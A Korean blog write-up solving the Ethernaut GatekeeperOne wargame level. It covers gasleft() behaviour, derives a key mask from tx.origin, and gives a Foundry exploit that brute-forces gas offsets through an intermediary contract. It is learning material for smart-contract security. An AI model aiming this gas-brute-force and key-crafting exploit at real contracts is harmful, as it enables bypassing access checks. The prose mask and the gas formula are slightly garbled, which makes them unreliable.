The Ethernaut : GatekeeperOne

세인·2025년 12월 22일

gasleft()

현재 남은 가스를 리턴함

EVM은 매 opcode마다 가스를 소모하므로,

함수 시작부터 gateTwo 체크 줄까지 오는 동안에도 계속 깎여나감.

그래서 gateTwo 시점의 남은 가스는 대략:

gasgate2=gasgivengasoverheadgas_{gate2} = gas_{given} - gas_{overhead}

여기서 overhead

  • CALL 자체 오버헤드
  • 함수 진입/디코딩
  • gateOne, gateThree 앞부분 연산
  • 컴파일러가 만든 추가 연산 등이 합쳐진 값이라 딱 맞춰 계산하기 어렵고 환경에 따라 달라진다

문제 코드

gateOne, gateTwo, gateThree 3가지 조건을 모두 만족시켜 enter 함수를 실행하는 것

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        require(gasleft() % 8191 == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
        require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
        require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

로직 정리

  1. gateOne 조건을 통과하기 위해서라면 새 GatekeeperOne 컨트랙트를 짜면 된다
  2. gateTwo 조건을 통과하기 위해서 gasleft를 맞춰야 한다.
    • 다만, gateTwo를 통과할 때 정확히 gas가 얼마나 남아있을지 모르므로 8191에 대해서 오프셋을 brute-force 해야 한다.
  3. gateThree조건을 만족하는 gateKey 인자를 줘야한다.
    • gateKey의 각 바이트가 b[0], b[1], b[2], b[3], b[4], b[5], b[6], b[7]이라고 할 때
      • 첫번째 조건에 맞기 위해서는 gateKeyuint32로 캐스팅한 값과 uint16으로 캐스팅한 값이 같아야 한다
        • 둘이 같으려면, 하위 4바이트 중 상위 2바이트가 0이어야 함 (b[4], b[5] == 0)
      • 두번째 조건에 맞기 위해서는 gateKeyuint32로 캐스팅한 값이 uint64로 캐스팅한 값과 달라야 한다
        • 둘이 같지 않으려면 상위 4바이트 전체가 0이면 안된다.
      • 세번째 조건에 맞기 위해서는 gateKey의 하위 2바이트가 tx.origin의 하위 2바이트와 같아야 한다
    • 세 조건을 만족하는 gateKey 수식은 : bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FF

PoC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
import {GatekeeperOne} from "../src/GatekeeperOne.sol";

contract Attack {
    GatekeeperOne public gatekeeperone;
    bytes8 public gatekey;

    event SuccessOn(uint256 i, uint256 gasUsed);

    constructor(address _target) {
        gatekeeperone = GatekeeperOne(_target);
    }

    function attack() external {
        gatekey = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;

        // gas는 환경에 따라 달라서 brute-force로 offset 맞추는 방식
        for (uint256 i = 0; i < 300; i++) {
            (bool success, ) = address(gatekeeperone).call{gas: 8191 * 5 + i}(
                abi.encodeWithSignature("enter(bytes8)", gatekey)
            );
            if (success) {
                emit SuccessOn(i, 8191 * 5 + i);
                return;
            }
        }
    }
}

contract PoC is Script {
    address constant target = 0x6A4606F1b169553Ef4a14735Ed704a15F0aBaAbF;
    uint256 pk = vm.envUint("PRIV_KEY");

    function run() public {
        vm.startBroadcast(pk);
        
        Attack attack = new Attack(target);
        attack.attack();

        vm.stopBroadcast();
    }
}
profile
세종과학기지 세인지부

0개의 댓글